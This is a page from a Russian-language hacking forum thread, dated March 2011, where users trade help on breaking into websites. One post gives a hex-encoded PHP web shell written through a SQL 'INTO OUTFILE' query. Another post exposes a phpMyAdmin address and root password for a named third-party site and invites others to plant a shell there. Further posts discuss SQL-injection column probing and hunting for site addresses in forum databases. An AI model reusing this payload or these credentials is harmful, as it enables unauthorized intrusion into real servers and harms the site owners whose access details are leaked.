HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1657 из 2438 « Первая < 6571157155716071647 1653 1654 1655 1656 1657 1658 1659 1660 1661 1667170717572157 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #16561  
Старый 10.03.2011, 22:23
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Делаю запрос:

select 0x3c3f73797374656d28245f4745545b636d645d293f3e into outfile '/var/www/tmp/shell.php'

Выдает

Can't create/write to file '/var/www/ju/tmp/gen.php' (Errcode: 2)

file_priv=Y
 
Ответить с цитированием

  #16562  
Старый 10.03.2011, 22:26
KATYA
Участник форума
Регистрация: 09.02.2009
Сообщений: 229
Провел на форуме:
2856245

Репутация: 338
По умолчанию
Цитата:
Сообщение от FlaktW  
FlaktW said:
Делаю запрос:
select 0x3c3f73797374656d28245f4745545b636d645d293f3e into outfile '/var/www/tmp/shell.php'
Выдает
Can't create/write to file '/var/www/ju/tmp/gen.php' (Errcode: 2)
file_priv=Y
Прав не хватает?
 
Ответить с цитированием

  #16563  
Старый 10.03.2011, 22:33
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Цитата:
Сообщение от KATYA  
KATYA said:
Прав не хватает?
Папка tmp доступна для записи всегда.
 
Ответить с цитированием

  #16564  
Старый 10.03.2011, 22:38
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от FlaktW  
FlaktW said:
Делаю запрос:
select 0x3c3f73797374656d28245f4745545b636d645d293f3e into outfile '/var/www/tmp/shell.php'
Выдает
Can't create/write to file '/var/www/ju/tmp/gen.php' (Errcode: 2)
file_priv=Y
с чего ты взял что там есть данная папка? вот по адресу /tmp/ она всегда есть.. a в /var/www/ она может называтся как угодно temp, temporary..bla bla а может и не быть там
 
Ответить с цитированием

  #16565  
Старый 10.03.2011, 22:46
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Цитата:
Сообщение от Gorev  
Gorev said:
с чего ты взял что там есть данная папка? вот по адресу /tmp/ она всегда есть.. a в /var/www/ она может называтся как угодно temp, temporary..bla bla а может и не быть там
Попробуй сам залить шелл.

http://www.japanupdate.com/phpmyadmin/

root:b3777@p@du7@

japanupdate:x:33:33::/var/www/ju/htdocs
 
Ответить с цитированием

  #16566  
Старый 10.03.2011, 22:48
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
удали..в приват надо было..ща все туда попрут
 
Ответить с цитированием

  #16567  
Старый 11.03.2011, 06:22
A_n_d_r_e_i
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
Провел на форуме:
3426765

Репутация: 257
Отправить сообщение для A_n_d_r_e_i с помощью ICQ
По умолчанию
+order+by+18446744073709551616+-- выводит без ошибки

+order+by+18446744073709551615+-- выводит с ошибкой

значит 18446744073709551616 столбцов? такое возможно?
 
Ответить с цитированием

  #16568  
Старый 11.03.2011, 07:15
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию
Цитата:
Сообщение от A_n_d_r_e_i  
A_n_d_r_e_i said:
+order+by+18446744073709551616+-- выводит без ошибки
+order+by+18446744073709551615+-- выводит с ошибкой
значит 18446744073709551616 столбцов? такое возможно?
это хэксированная штука, т.е. скажем 18446744073709551616=version() или что-то другое, хотя такое не встречал, может там блайнд идет.
 
Ответить с цитированием

  #16569  
Старый 11.03.2011, 11:02
Unknown
Guest
Сообщений: n/a
Провел на форуме:
191387

Репутация: 6
По умолчанию
в какой таблице IPB можно узнать адрес сайта (напободие wp_options в wordpress)? поиск по мылу не увенчался успехом.
 
Ответить с цитированием

  #16570  
Старый 11.03.2011, 11:19
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от noviyuser  
noviyuser said:
в какой таблице IPB можно узнать адрес сайта (напободие wp_options в wordpress)? поиск по мылу не увенчался успехом.
я ищу по названию тем в форуме...
 
Ответить с цитированием
Ответ
Страница 1657 из 2438 « Первая < 6571157155716071647 1653 1654 1655 1656 1657 1658 1659 1660 1661 1667170717572157 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ